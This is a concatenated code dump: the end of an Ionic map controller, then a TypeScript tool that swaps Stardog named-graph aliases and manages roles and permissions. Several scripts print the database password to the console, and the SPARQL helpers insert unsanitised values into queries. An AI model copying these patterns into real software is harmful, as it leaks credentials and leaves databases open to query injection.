$scope.showBackdrop = function() {
$ionicBackdrop.retain();
$timeout(function() {
$ionicBackdrop.release();
}, 3000);
};
})
<file_sep>/www/js/controllers/map.js
angular.module('starter.controllers')
.controller('MapCtrl', function($scope, $ionicHistory, $cordovaGeolocation, $ionicLoading, $ionicPlatform) {
$scope.verifyMap = function() {
console.log('verified');
}
$scope.goHome = function(){
$state.go('home');
}
$scope.goBack = function(){
$ionicHistory.goBack();
}
var onSuccess = function(position) {
console.log('Latitude: ' + position.coords.latitude + '\n' +
'Longitude: ' + position.coords.longitude + '\n' +
'Altitude: ' + position.coords.altitude + '\n');
}
function onError(error) {
console.log('code: ' + error.code + '\n' +
'message: ' + error.message + '\n');
}
$scope.getGPSlocation = function() {
navigator.geolocation.getCurrentPosition(onSuccess, onError);
}
// var options = {timeout: 1000, enableHighAccuracy: true};
// $cordovaGeolocation.getCurrentPosition(options).then(function(position) {
// var latLng = new google.maps.latLng(position.coords.latitude, position.coords.longitude);
// var mapOptions = {
// center: latLng,
// zoom: 15,
// mapTypeId: google.maps.mapTypeId.ROADMAP
// };
// $scope.map = new google.maps.Map(document.getElementById("map"), mapOptions);
// }, function(error) {
// console.log("Could not get location");
// });
$ionicPlatform.ready(function() {
// $ionicLoading.show({
// template: '<ion-spinner icon="bubbles"></ion-spinner><br/>Acquiring location!'
// });
var posOptions = {
enableHighAccuracy: true,
timeout: 20000,
maximumAge: 0
};
$cordovaGeolocation.getCurrentPosition(posOptions).then(function (position) {
var lat = position.coords.latitude;
var long = position.coords.longitude;
var myLatlng = new google.maps.LatLng(lat, long);
var mapOptions = {
center: myLatlng,
zoom: 16,
mapTypeId: google.maps.MapTypeId.ROADMAP
};
var map = new google.maps.Map(document.getElementById("map"), mapOptions);
var index = 0;
$scope.index = index;
$scope.map = map;
// $ionicLoading.hide();
// google.maps.event.addDomListener(document.getElementById('map'), 'mousedown', function(e) {
// e.preventDefault();
// return false;
// });
// google.maps.eventAddListener(map, 'click', function(event) {
// marker = new google.maps.Marker({
// position: event.myLatlng,
// map: map
// });
// });
// google.maps.event.addDomListener(window, 'load', initialize);
google.maps.event.addListenerOnce($scope.map, 'idle', function() {
var marker = new google.maps.Marker({
map: $scope.map,
animation: google.maps.Animation.DROP,
position: myLatlng,
draggable: true
});
var infoWindow = new google.maps.InfoWindow({
content: "Here I am!"
})
google.maps.event.addListener(marker, 'click', function() {
infoWindow.open($scope.map, marker);
})
//initMap();
});
// var newMarkerContent = '<div id="content">' +
// '<div id="newContent">' +
// '<h1 id="Marker Title">Marker</h1>' +
// '<p>Enter Information</p>' +
// '<form action="http://10.108.233.67:8080/newMarker" method="post"> ' +
// 'Label: <br>' +
// '<input type="text" ' + $scope.index + 'name="label"><br> ' +
// 'Description: <br>' +
// '<input type="text" name="description">' +
// '<input type="submit" value="Submit">' +
// '</form>'
// '</div>' +
// '</div>';
var newMarkerContent = '<div><p>test</p></div';
var newMarkerWindow = new google.maps.InfoWindow({
content: newMarkerContent,
id: $scope.index
})
map.addListener('click', function(e) {
//placeMarker(e.latLng, $scope.map);
var newMarker = new google.maps.Marker({
animation: google.maps.Animation.DROP,
position: e.latLng,
map: $scope.map,
draggable: true
})
newMarker.infowindow = newMarkerWindow;
newMarker.addListener('click', function() {
//newMarkerWindow.open($scope.map, newMarker);
newMarkerWindow.setContent('<div><p> ' + newMarkerWindow.id + '</p></div');
this.infowindow.open($scope.map, this);
// $scope.index = $scope.index + 1;
// console.log($scope.index);
})
$scope.index = $scope.index + 1;
//newMarkerWindow.id++;
console.log($scope.index);
map.panTo(e.latLng);
});
// google.maps.event.addListener(newMarkerWindow, "closeclick", function(e) {
// $scope.index = $scope.index + 1;
// newMarkerWindow.setContent('<div><p> ' + newMarkerWindow.id + '</p></div');
// newMarkerWindow.id++;
// })
function initMap() {
map.addListener('click', function(e) {
placeMarker(e.latLng, $scope.map);
});
}
function placeMarker(myLatlng, map) {
var marker = new google.maps.Marker({
animation: google.maps.Animation.DROP,
position: myLatlng,
map: map
});
marker.addListener('click', function() {
newMarkerWindow.open(map, marker);
})
map.panTo(myLatlng);
}
}, function(err) {
$ionicLoading.hide();
console.log(err);
});
})
// $ionicPlatform.ready(function() {
// function initialize() {
// var mapOptions = {
// center: new google.maps.LatLng(43.07493,-89.381388),
// zoom: 16,
// mapTypeId: google.maps.MapTypeId.ROADMAP
// };
// var map = new google.maps.Map(document.getElementById("map"),
// mapOptions);
// // Stop the side bar from dragging when mousedown/tapdown on the map
// google.maps.event.addDomListener(document.getElementById('map'), 'mousedown', function(e) {
// e.preventDefault();
// return false;
// });
// google.maps.event.addListener(map, 'click', function(event) {
// marker = new google.maps.Marker({
// position: event.latLng,
// map: map
// });
// });
// $scope.map = map;
// }
// google.maps.event.addDomListener(window, 'load', initialize);
// $scope.centerOnMe = function() {
// if(!$scope.map) {
// return;
// }
// $scope.loading = $ionicLoading.show({
// content: 'Getting current location...',
// showBackdrop: false
// });
// navigator.geolocation.getCurrentPosition(function(pos) {
// $scope.map.setCenter(new google.maps.LatLng(pos.coords.latitude, pos.coords.longitude));
// $scope.loading.hide();
// }, function(error) {
// alert('Unable to get location: ' + error.message);
// });
// };
// })
}); | 055b313ab938979ebc74567201571ab8a0d3f836 | [
"JavaScript"
] | 2 | JavaScript | asalinasj/IonicMyPlaces | 092976556138128608ac29778be6b8c17dabe885 | 878b4b0feec90ac5d52b55ac3a79e516be386f3d |
refs/heads/main | <repo_name>jologz/stardog-named-graph-alias<file_sep>/src/dbSettings.ts
import { db } from 'stardog'
import { DbNameConnProps } from './stardog/stardogUtils'
export interface DbSettingsResponse {
run: () => Promise<boolean>
}
const DbSettings = ({ dbName, conn }: DbNameConnProps) => {
const run = async () => {
console.log(`\nChecking database setup.`)
const metadataResp = await db.options.get(conn, dbName, {
security: {
named: { graphs: null },
},
graph: {
aliases: null,
},
})
if (!metadataResp.ok) {
console.error('Error reading db metadata')
return false
}
const {
graph: { aliases: graphAliasesEnabled },
security: {
named: { graphs: namedGraphsSecurityEnabled },
},
} = metadataResp.body
if (graphAliasesEnabled) {
console.log(`Graph aliases are enabled for ${dbName}`)
} else {
console.log(
`Graph aliases are not enabled. Taking ${dbName} offline.`
)
const offlineResp = await db.offline(conn, dbName)
if (!offlineResp.ok) {
console.log('Error taking db offline.')
return false
}
console.log(`${dbName} is now offline.`)
console.log('Enabling Graph Aliases.')
const graphAliasesResp = await db.options.set(conn, dbName, {
graph: {
aliases: true,
},
})
if (!graphAliasesResp.ok) {
console.log('Error setting graph alias to true.')
return false
}
console.log('Graph aliases are now enabled.')
const onlineResp = await db.online(conn, dbName)
if (!onlineResp.ok) {
console.log('Error taking db online.')
return false
}
console.log(`${dbName} is now back online.`)
}
if (namedGraphsSecurityEnabled) {
console.log(`Named Graph Security is enabled for ${dbName}`)
} else {
const namedGraphSecResp = await db.options.set(conn, dbName, {
security: {
named: {
graphs: true,
},
},
})
if (!namedGraphSecResp.ok) {
console.log('Error enabling named graph security.')
return false
}
console.log(`Named Graph Security is now enabled for ${dbName}`)
}
return true
}
return {
run,
}
}
export default DbSettings
<file_sep>/src/rolesAndPermissions/createRolesAndPermissions.ts
import { Connection } from 'stardog'
import { processEnv } from '../processEnv'
import Security from './security'
const createRolesAndPermissions = async () => {
console.log('\n\n===== START: createRolesAndPermission =====')
const {
DATABASE_USERNAME: username,
DATABASE_PASSWORD: <PASSWORD>,
DATABASE_URL: endpoint,
NG_DBNAME: dbName,
} = processEnv()
console.log('DATABASE_URL: ', endpoint)
console.log('DATABASE_USERNAME: ', username)
console.log('DATABASE_PASSWORD: ', <PASSWORD>)
console.log('NG_DBNAME: ', dbName)
const conn = new Connection({
username,
password,
endpoint,
})
const security = Security({
conn,
dbName,
})
await security.run()
console.log('===== END: createRolesAndPermissions =====')
}
createRolesAndPermissions()
<file_sep>/src/namedGraphUtil.ts
import { query } from 'stardog'
import { DbNameConnProps } from './stardog/stardogUtils'
export interface FromToNamedGraphProps {
fromNamedGraph: string
toNamedGraph: string
}
export interface AliasNamedGraphProps {
aliasName: string
namedGraph: string
}
export interface AliasesNamedGraphProps {
aliases: string[]
namedGraph: string
}
export interface NamedGraphUtilResponse {
addAliasToNamedGraph: (req: AliasNamedGraphProps) => Promise<boolean>
dropNamedGraph: (namedGraph: string) => Promise<boolean>
getNamedGraphByAlias: (aliasName: string) => Promise<string[]>
getNamedGraphsByKeyword: (keyword: string) => Promise<string[]>
removeAliasFromNamedGraph: (req: AliasNamedGraphProps) => Promise<boolean>
}
export const namedGraphUtil = ({
conn,
dbName,
}: DbNameConnProps): NamedGraphUtilResponse => {
const addAliasToNamedGraph = async ({
aliasName,
namedGraph,
}: AliasNamedGraphProps) => {
const addAliasQuery = `
INSERT DATA {
GRAPH <tag:stardog:api:graph:aliases> {
${aliasName} <tag:stardog:api:graph:alias> <${namedGraph}>
}
}
`
try {
const aliasResponse = await query.execute(
conn,
dbName,
addAliasQuery
)
return aliasResponse.ok
} catch (e) {
console.error(e)
}
return false
}
const dropNamedGraph = async (namedGraph: string) => {
const dropNamedGraphQuery = `DROP GRAPH <${namedGraph}>`
const dropNamedGraphResponse = await query.execute(
conn,
dbName,
dropNamedGraphQuery
)
return dropNamedGraphResponse.ok
}
const getNamedGraphByAlias = async (aliasName: string) => {
const namedGraphByAliasQuery = `
SELECT ?namedGraph {
GRAPH <tag:stardog:api:graph:aliases> {
${aliasName} <tag:stardog:api:graph:alias> ?namedGraph
}
}
`
try {
const namedGraphByAliasResponse = await query.execute(
conn,
dbName,
namedGraphByAliasQuery
)
if (!namedGraphByAliasResponse.ok) {
return []
}
const { bindings } = namedGraphByAliasResponse.body.results
return bindings.map(
(binding) => binding.namedGraph.value
) as string[]
} catch (e) {
console.error(e)
return []
}
}
const getNamedGraphsByKeyword = async (keyword: string) => {
const namedGraphsByKeywordQuery = `
SELECT ?namedGraph {
GRAPH ?namedGraph {}
FILTER REGEX(str(?namedGraph), "${keyword}", "i")
}
`
try {
const namedGraphsByKeywordResponse = await query.execute(
conn,
dbName,
namedGraphsByKeywordQuery
)
if (!namedGraphsByKeywordResponse.ok) {
return []
}
const { bindings } = namedGraphsByKeywordResponse.body.results
return bindings.map(
(binding) => binding.namedGraph.value
) as string[]
} catch (e) {
console.error(e)
return []
}
}
const removeAliasFromNamedGraph = async ({
aliasName,
namedGraph,
}: AliasNamedGraphProps) => {
const removeAliasQuery = `
DELETE DATA {
GRAPH <tag:stardog:api:graph:aliases> {
${aliasName} <tag:stardog:api:graph:alias> <${namedGraph}>
}
}
`
try {
const aliasResponse = await query.execute(
conn,
dbName,
removeAliasQuery
)
return aliasResponse.ok
} catch (e) {
console.error(e)
}
return false
}
return {
addAliasToNamedGraph,
dropNamedGraph,
getNamedGraphByAlias,
getNamedGraphsByKeyword,
removeAliasFromNamedGraph,
}
}
<file_sep>/src/processNewNamedGraph.ts
import { namedGraph } from './namedGraph'
/**
* REQUIREMENTS:
*
* ENVIRONMENT VARIABLES:
* DATABASE_URL=http://localhost:5820
* DATABASE_USERNAME=admin
* DATABASE_PASSWORD=***
* NG_DBNAME=[db name of where the named graph resides]
* NG_ALIAS=[alias that the new named graph will use]
* NG_NEW=[named graph new name]
* NG_OLD=[named graph old name. the one that needs to be dropped] *
*/
export const app = async () => {
console.log('\n\n===== START: processNewNamedGraph =====')
await namedGraph()
console.log('====== END: processNewNamedGraph =======')
}
app()
<file_sep>/src/stardog/stardogUtils.ts
import { Connection } from 'stardog'
/**
* Returns the local name of a string if exists, or its value.
* The local name is defined as the split after the first '#',
* or the split after the last '/', or the split after the last ':'.
* If there is no local name, the original string is returned.
* @param text a string (such as an IRI)
*/
export const getLocalName = (text: string) => {
// See https://rdf4j.org/javadoc/latest/org/eclipse/rdf4j/model/IRI.html
// Group 1: split after the first occurrence of the '#' character
// Group 2: split after the last occurrence of the '/' character
// Group 3: split after the last occurrence of the ':' character
const match = text.match(/[^#\n]*#(.*)|.*\/(.*)|.*:(.*)/)
return match ? match[1] || match[2] || match[3] || text : text
}
export interface QueryResponse {
type: string
value: string
}
export interface DbNameConnProps {
dbName: string
conn: Connection
}
<file_sep>/src/setNamedAliasSettings.ts
import { Connection } from 'stardog'
import DbSettings from './dbSettings'
import { processEnv } from './processEnv'
const setNamedAliasSettings = async () => {
console.log('\n\n===== START: setNamedAliasSettings =====')
const {
DATABASE_USERNAME: username,
DATABASE_PASSWORD: <PASSWORD>,
DATABASE_URL: endpoint,
NG_DBNAME: dbName,
} = processEnv()
console.log('DATABASE_URL: ', endpoint)
console.log('DATABASE_USERNAME: ', username)
console.log('DATABASE_PASSWORD: ', <PASSWORD>)
console.log('NG_DBNAME: ', dbName)
const conn = new Connection({
username,
password,
endpoint,
})
// Check DB setup
// We can now enable Named Graph Security
// and check if Named Graph Alias is allowed.
const dbSettings = DbSettings({
conn,
dbName,
})
await dbSettings.run()
console.log('\n\n===== END: setNamedAliasSettings =====')
}
setNamedAliasSettings()
<file_sep>/README.md
# Creating Stardog Named Graph Aliases
## Description
This project will show you how to:
- Add data from one named graph to another
- Add / remove named graph alias
- Use `db.transaction.begin` and `db.transaction.commit` so you can see the changes first before committing any update to your database.
- Use `query.execute`
It uses [stardog.js](https://github.com/stardog-union/stardog.js) npm package.
## Usage
I have attached [fibo_urn_GLEIF.ttl](./data/fibo_urn_GLEIF.ttl) so you can upload it to your database.
Example RDF Upload:

To follow along, make sure you name your graph as `urn:GLEIF`
After uploading, add an alias to `<urn:GLEIF>` using the Stardog Studio's workspace or CLI
```
# Add to alias
INSERT DATA {
GRAPH <tag:stardog:api:graph:aliases> {
:alphabet <tag:stardog:api:graph:alias> <urn:GLEIF>
}
}
```
Run the code by doing `npm run start`. It will transpile the typescript files and build the project. It will then run `node build/app.js` to run the code. It will prompt you on some metadata the project needs. You can press `Enter` to use the default.
## Sample Node

<file_sep>/src/getOldNewNGFromAlias.ts
import { Connection } from 'stardog'
import { namedGraphUtil } from './namedGraphUtil'
import { processEnv } from './processEnv'
/**
* REQUIREMENTS:
*
* ENVIRONMENT VARIABLES:
* DATABASE_URL=http://localhost:5820
* DATABASE_USERNAME=admin
* DATABASE_PASSWORD=***
* NG_DBNAME=[db name of where the named graph resides]
* NG_ALIAS=[alias that the new named graph will use]
*/
/**
*
* @returns Space separated value (NewNamedGraph OldNamedGraph) or null
*/
export const getOldNewNGFromAlias = async () => {
const {
DATABASE_USERNAME: username,
DATABASE_PASSWORD: <PASSWORD>,
DATABASE_URL: endpoint,
NG_DBNAME: dbName,
NG_ALIAS: aliasName,
} = processEnv()
const conn = new Connection({
username,
password,
endpoint,
})
const { getNamedGraphByAlias } = namedGraphUtil({
conn,
dbName,
})
const namedGraphs = await getNamedGraphByAlias(aliasName)
if (namedGraphs.length !== 1) return null
const oldNamedGraph = namedGraphs[0]
let newNamedGraph: string
// if oldNamedGraph has timestamp, replace that timestamp with a new one
// for the newNamedGraph, else append timestamp
let timestamp = `_TS_${Date.now()}`
if (oldNamedGraph.indexOf('_TS_') > -1) {
newNamedGraph = `${oldNamedGraph.substr(
0,
oldNamedGraph.indexOf('_TS_')
)}${timestamp}`
} else {
newNamedGraph = `${oldNamedGraph}${timestamp}`
}
return `${newNamedGraph} ${oldNamedGraph}`
}
getOldNewNGFromAlias().then((data) => {
console.log(data)
})
<file_sep>/src/namedGraph.ts
import { Connection } from 'stardog'
import { namedGraphUtil } from './namedGraphUtil'
import { processEnv } from './processEnv'
import Security from './rolesAndPermissions/security'
export const namedGraph = async () => {
const {
DATABASE_USERNAME: username,
DATABASE_PASSWORD: <PASSWORD>,
DATABASE_URL: endpoint,
NG_DBNAME: dbName,
NG_ALIAS: aliasName,
NG_OLD: oldNamedGraph,
NG_NEW: newNamedGraph,
} = processEnv()
console.log('DATABASE_URL: ', endpoint)
console.log('DATABASE_USERNAME: ', username)
console.log('DATABASE_PASSWORD: ', <PASSWORD>)
console.log('NG_DBNAME: ', dbName)
console.log('NG_ALIAS: ', aliasName)
console.log('NG_OLD: ', oldNamedGraph)
console.log('NG_NEW: ', newNamedGraph)
const conn = new Connection({
username,
password,
endpoint,
})
const { addAliasToNamedGraph, removeAliasFromNamedGraph } = namedGraphUtil({
conn,
dbName,
})
console.log(`\nAdding ${aliasName} to <${newNamedGraph}>...`)
const addAliasSuccess = await addAliasToNamedGraph({
aliasName,
namedGraph: newNamedGraph,
})
if (!addAliasSuccess) {
console.log(`Error adding ${aliasName} to <${newNamedGraph}>`)
return
}
console.log(`<${newNamedGraph}> is now using ${aliasName}`)
console.log(`\nRemoving ${aliasName} from <${oldNamedGraph}>`)
const removeAliasSuccess = await removeAliasFromNamedGraph({
aliasName,
namedGraph: oldNamedGraph,
})
if (!removeAliasSuccess) {
console.error(`Error removing ${aliasName} from <${oldNamedGraph}>`)
return
}
console.log(`\nCreating read role for <${newNamedGraph}>`)
const security = Security({
conn,
dbName,
})
const newRole = await security.createReadRoleForNamedGraph(newNamedGraph)
if (!newRole) {
console.log(`Error creating read role for <${newNamedGraph}>`)
return
}
console.log(`${newRole} has been created.`)
console.log(`Removing old read roles and adding new read roles to users...`)
const successUpdatingUsers = await security.addNewReadRoleAndRemoveOldReadRoleFromUsers(
{
oldNamedGraph,
newRole,
}
)
if (successUpdatingUsers) {
console.log(
`\nSuccessfully updated!\nYou can now manually drop ${oldNamedGraph}`
)
}
return
}
<file_sep>/src/clearUnusedGraphByAlias.ts
import { Connection } from 'stardog'
import { namedGraphUtil } from './namedGraphUtil'
/**
* Required arguments:
* dbUsername
* dbPassword
* dbUrl
* dbName
* aliasName
*/
const clearUnusedGraphByAlias = async () => {
const aliasNameArg = process.argv.find(
(arg) => arg.indexOf('aliasName') > -1
)
const dbUserNameArg = process.argv.find(
(arg) => arg.indexOf('dbUsername') > -1
)
const dbPasswordArg = process.argv.find(
(arg) => arg.indexOf('dbPassword') > -1
)
const dbNameArg = process.argv.find((arg) => arg.indexOf('dbName') > -1)
const dbUrlArg = process.argv.find((arg) => arg.indexOf('dbUrl') > -1)
if (
!dbUserNameArg ||
!dbPasswordArg ||
!dbUrlArg ||
!dbNameArg ||
!aliasNameArg
) {
console.error('Error: Missing argument(s).')
return
}
console.log('\n\n====== START: clearUnusedGraphByAlias =====')
const aliasName = aliasNameArg.split('=')[1]
const username = dbUserNameArg.split('=')[1]
const password = dbPasswordArg.split('=')[1]
const dbName = dbNameArg.split('=')[1]
const endpoint = dbUrlArg.split('=')[1]
const conn = new Connection({
username,
password,
endpoint,
})
const {
dropNamedGraph,
getNamedGraphByAlias,
getNamedGraphsByKeyword,
} = namedGraphUtil({
conn,
dbName,
})
const namedGraphAliasResponse = await getNamedGraphByAlias(aliasName)
if (!namedGraphAliasResponse.length) {
console.log(`\nNo named graph found in ${aliasName}`)
return
}
if (namedGraphAliasResponse.length > 1) {
console.log(`\nFound 2 or more named graph in ${aliasName}. Exiting...`)
return
}
const currentNamedGraph = namedGraphAliasResponse[0]
if (currentNamedGraph.indexOf('_TS_') < 0) {
console.log(`\nNamed graph doesn't have a timestamp.`)
return
}
const namedGraphWithoutTimestamp = currentNamedGraph.substr(
0,
currentNamedGraph.indexOf('_TS_')
)
const namedGraphs = await getNamedGraphsByKeyword(
namedGraphWithoutTimestamp
)
if (namedGraphs.length < 1) {
console.log('Nothing was dropped.')
return
}
// don't drop the current named graph
const filteredNamedGraphs = namedGraphs.filter(
(namedGraph) => namedGraph !== currentNamedGraph
)
if (filteredNamedGraphs.length === 0) {
console.log(`\nThere is nothing to drop.`)
return
}
for (const namedGraph of filteredNamedGraphs) {
const dropNamedGraphSuccess = await dropNamedGraph(namedGraph)
if (!dropNamedGraphSuccess) {
console.log(`Failed to drop ${dropNamedGraph}`)
return
}
console.log(`${namedGraph} dropped!`)
}
console.log('\n\n====== END: clearUnusedGraphByAlias =====')
}
clearUnusedGraphByAlias()
<file_sep>/src/processEnv.ts
export const processEnv = () => {
return {
DATABASE_URL: process.env.DATABASE_URL,
DATABASE_USERNAME: process.env.DATABASE_USERNAME,
DATABASE_PASSWORD: process.env.DATABASE_PASSWORD,
NG_DBNAME: process.env.NG_DBNAME,
NG_ALIAS: process.env.NG_ALIAS,
NG_OLD: process.env.NG_OLD,
NG_NEW: process.env.NG_NEW,
}
}
<file_sep>/src/rolesAndPermissions/security.ts
import { query, user } from 'stardog'
import { DbNameConnProps, QueryResponse } from '../stardog/stardogUtils'
export interface AddNewReadRoleAndRemoveOldReadRoleFromUsersProps {
/** old named graph */
oldNamedGraph: string
/** new role name */
newRole: string
}
export interface RoleNameResourceProps {
action: user.Action
roleName: string
resourceName: string
resourceType: user.ResourceType
}
export interface SecurityResponse {
addNewReadRoleAndRemoveOldReadRoleFromUsers: (
req: AddNewReadRoleAndRemoveOldReadRoleFromUsersProps
) => Promise<boolean>
createReadRoleForNamedGraph: (namedGraph: string) => Promise<string | null>
run: () => Promise<boolean>
}
const namedGraphDomain = 'https://nasa.gov'
const Security = ({ dbName, conn }: DbNameConnProps): SecurityResponse => {
const dbReadRoleName = `db_read`
const dbWriteRoleName = `db_write`
const ngDefaultReadRoleName = `ng_default_read`
const ngDefaultWriteRoleName = `ng_default_write`
const ngIasAsmtGraphWriteRoleName = `ng_iasAsmtGraph_write`
// ngGroupRead are the passive named graphs bundled together
const ngGroupReadRoleName = 'ng_group_read'
const groupedNamedGraphs = [
`${namedGraphDomain}/ontology`,
`${namedGraphDomain}/mas`,
`${namedGraphDomain}/cradle`,
`${namedGraphDomain}/matLinks`,
`${namedGraphDomain}/iasAsmtGraph`,
`${namedGraphDomain}/iasGraph`,
`${namedGraphDomain}/iasTimeline`,
]
const readRoles = [
dbReadRoleName,
ngDefaultReadRoleName,
ngGroupReadRoleName,
]
const addDbRolesAndPermissions = async () => {
const dbReadSuccess = await addRoleAndPermission({
action: 'READ',
roleName: dbReadRoleName,
resourceName: dbName,
resourceType: 'db',
})
if (!dbReadSuccess) {
return false
}
const dbWriteSuccess = await addRoleAndPermission({
action: 'WRITE',
roleName: dbWriteRoleName,
resourceName: dbName,
resourceType: 'db',
})
return dbWriteSuccess
}
const addNgDefaultRolesAndPermissions = async () => {
const ngReadSuccess = await addRoleAndPermission({
action: 'READ',
roleName: ngDefaultReadRoleName,
resourceName: `${dbName}\\tag:stardog:api:context:default`,
resourceType: 'named-graph',
})
if (!ngReadSuccess) {
return false
}
const ngUpdateSuccess = await addRoleAndPermission({
action: 'WRITE',
roleName: ngDefaultWriteRoleName,
resourceName: `${dbName}\\tag:stardog:api:context:default`,
resourceType: 'named-graph',
})
return ngUpdateSuccess
}
const addNgGroupRoleAndPermissions = async () => {
const dbReadResponse = await addRole(ngGroupReadRoleName)
if (dbReadResponse) {
console.log(`\n${ngGroupReadRoleName} role created.`)
} else {
console.log(`\n${ngGroupReadRoleName} exists.`)
}
for (const groupNamedGraph of groupedNamedGraphs) {
const addPermProps: RoleNameResourceProps = {
action: 'READ',
resourceName: `${dbName}\\${groupNamedGraph}`,
resourceType: 'named-graph',
roleName: ngGroupReadRoleName,
}
const addGroupedPermissionResponse = await addPermission(
addPermProps
)
if (addGroupedPermissionResponse) {
console.log(
`[${addPermProps.action}, ${addPermProps.resourceType}:${addPermProps.resourceName}] permission added to ${ngGroupReadRoleName}.`
)
} else {
console.log(
`[${addPermProps.action}, ${addPermProps.resourceType}:${addPermProps.resourceName}] permission exists for ${ngGroupReadRoleName}.`
)
}
}
}
const addNgIasAsmtGraphRoleWrite = async () => {
console.log(`\nAdding iasAsmtGraph update role for concourse service.`)
const ngUpdateSuccess = await addRoleAndPermission({
action: 'WRITE',
resourceName: `${dbName}\\${namedGraphDomain}/iasAsmtGraph`,
resourceType: 'named-graph',
roleName: ngIasAsmtGraphWriteRoleName,
})
return ngUpdateSuccess
}
const addNewReadRoleAndRemoveOldReadRoleFromUsers = async ({
oldNamedGraph,
newRole,
}: AddNewReadRoleAndRemoveOldReadRoleFromUsersProps) => {
const oldRoleName = `ng_${getRoleName(oldNamedGraph)}_read`
try {
const usersResponse = await user.list(conn)
if (!usersResponse.ok) {
console.error('Error getting users.')
return false
}
const users = usersResponse.body.users as string[]
const nonAdminAnonymousUsers = users.filter(
(user) => user !== 'admin' && user !== 'anonymous'
)
try {
for (const nonAdminUser of nonAdminAnonymousUsers) {
// setting roles will remove previously added roles.
// get the current roles and add new roles
const nonAdminUserRolesResponse = await user.listRoles(
conn,
nonAdminUser
)
if (!nonAdminUserRolesResponse.ok) {
throw new Error(`Error getting ${nonAdminUser} roles.`)
}
const currentRoles = nonAdminUserRolesResponse.body
.roles as string[]
const removedOldRoles = currentRoles.filter(
(currentRole) => currentRole !== oldRoleName
)
const updatedRoles = [...removedOldRoles, newRole]
const addUserReadRoleResponse = await user.setRoles(
conn,
nonAdminUser,
updatedRoles
)
if (!addUserReadRoleResponse.ok) {
console.log(
`\n${nonAdminUser} failed adding read roles.`
)
} else {
console.log(
`\n${nonAdminUser} roles:\n${updatedRoles.join(
'\n'
)}`
)
}
}
const removeOldRoleResponse = await user.role.remove(
conn,
oldRoleName
)
if (!removeOldRoleResponse.ok) {
console.error(
`\nError removing ${oldRoleName}. Please delete manually`
)
} else {
console.log(`\n${oldRoleName} role has been removed.`)
}
} catch (e) {
console.error(e)
return false
}
} catch (e) {
console.error(e)
return false
}
return true
}
const addRole = async (name: string) => {
const dbReadResponse = await user.role.create(conn, {
name,
})
return dbReadResponse.ok
}
const addPermission = async ({
action,
roleName,
resourceName,
resourceType,
}: RoleNameResourceProps) => {
const dbReadPermResponse = await user.role.assignPermission(
conn,
roleName,
{
action,
resourceType,
resources: [resourceName],
}
)
return dbReadPermResponse.ok
}
const addRoleAndPermission = async ({
action,
roleName,
resourceName,
resourceType,
}: RoleNameResourceProps) => {
try {
const dbReadResponse = await addRole(roleName)
if (dbReadResponse) {
console.log(`\n${roleName} role created.`)
} else {
console.log(`\n${roleName} exists.`)
}
const dbReadPermResponse = await addPermission({
action,
roleName,
resourceName,
resourceType,
})
if (dbReadPermResponse) {
console.log(
`[${action}, ${resourceType}:${resourceName}] permission added to ${roleName}.`
)
} else {
console.log(
`[${action}, ${resourceType}:${resourceName}] permission exists for ${roleName}.`
)
}
} catch (e) {
console.error(e)
return false
}
return true
}
const createReadRoleForNamedGraph = async (
namedGraph: string
): Promise<string | null> => {
const roleName = `ng_${getRoleName(namedGraph)}_read`
const newReadRoleSuccess = await addRoleAndPermission({
action: 'READ',
resourceName: `${dbName}\\${namedGraph}`,
resourceType: 'named-graph',
roleName,
})
return newReadRoleSuccess ? roleName : null
}
const getAllNamedGraphsAndCreateRoles = async () => {
try {
console.log(
'\nGetting all remaining named graphs to create READ roles and permissions.'
)
const thisResp = await query.execute(
conn,
dbName,
`
SELECT ?graph {
GRAPH ?graph {}
}
`
)
if (!thisResp.ok) {
console.error('Error getting graphs')
return false
}
const graphs = thisResp.body.results.bindings as {
graph: QueryResponse
}[]
// get only nasa named graphs
const namedGraphs = graphs
.map(({ graph }) => graph.value)
.filter(
(graph) =>
graph.startsWith(namedGraphDomain) &&
!groupedNamedGraphs.includes(graph)
)
console.log('\nNamed Graphs:')
console.log(namedGraphs.join('\n'))
console.log('\nCreating READ roles and permissions.')
try {
for (const graph of namedGraphs) {
const successRoleName = await createReadRoleForNamedGraph(
graph
)
if (!successRoleName) {
throw new Error(
`Error adding read role for graph <${graph}>`
)
}
readRoles.push(successRoleName)
}
} catch (e) {
console.error(e)
return false
}
} catch (e) {
console.error(e)
return false
}
return true
}
const getRoleName = (fullGraphName: string) => {
return fullGraphName
.substr(namedGraphDomain.length + 1)
.replace(/\//g, '_')
}
const getUsersAndAddRoles = async () => {
console.log(
`\nAdding roles to users except for admins and/or anonymous.`
)
try {
const usersResponse = await user.list(conn)
if (!usersResponse.ok) {
console.error('Error getting users.')
return false
}
const users = usersResponse.body.users as string[]
const nonAdminAnonymousUsers = users.filter(
(user) => user !== 'admin' && user !== 'anonymous'
)
try {
for (const nonAdminUser of nonAdminAnonymousUsers) {
// setting roles will remove previoulsy added roles.
// get the current roles and add new roles
const nonAdminUserRolesResponse = await user.listRoles(
conn,
nonAdminUser
)
if (!nonAdminUserRolesResponse.ok) {
throw new Error(`Error getting ${nonAdminUser} roles.`)
}
const currentRoles = nonAdminUserRolesResponse.body
.roles as string[]
const addUserReadRoleResponse = await user.setRoles(
conn,
nonAdminUser,
[...currentRoles, ...readRoles]
)
if (!addUserReadRoleResponse.ok) {
console.log(
`\n${nonAdminUser} failed adding read roles.`
)
} else {
console.log(
`\n${nonAdminUser} roles:\n${readRoles.join('\n')}`
)
}
// Only pelorus service can update default graph
if (nonAdminUser === 'pelorus') {
const pelorusUpdateResponse = await user.setRoles(
conn,
nonAdminUser,
[
...currentRoles,
...readRoles,
dbWriteRoleName,
ngDefaultWriteRoleName,
]
)
if (!pelorusUpdateResponse.ok) {
console.log(
`${nonAdminUser} failed adding ${dbWriteRoleName} and ${ngDefaultWriteRoleName} roles.`
)
} else {
console.log(
`${dbWriteRoleName}\n${ngDefaultWriteRoleName}`
)
}
}
// Only concourse service can update iasAsmtGraph
if (nonAdminUser === 'concourse') {
const pelorusUpdateResponse = await user.setRoles(
conn,
nonAdminUser,
[
...currentRoles,
...readRoles,
dbWriteRoleName,
ngIasAsmtGraphWriteRoleName,
]
)
if (!pelorusUpdateResponse.ok) {
console.log(
`${nonAdminUser} failed adding ${dbWriteRoleName} and ${ngIasAsmtGraphWriteRoleName} roles.`
)
} else {
console.log(
`${dbWriteRoleName}\n${ngIasAsmtGraphWriteRoleName}`
)
}
}
}
} catch (e) {
console.error(e)
return false
}
} catch (e) {
console.error(e)
return false
}
return true
}
const run = async () => {
console.log('Adding roles and permissions:')
const addDbRolesAndPermissionsSuccess = await addDbRolesAndPermissions()
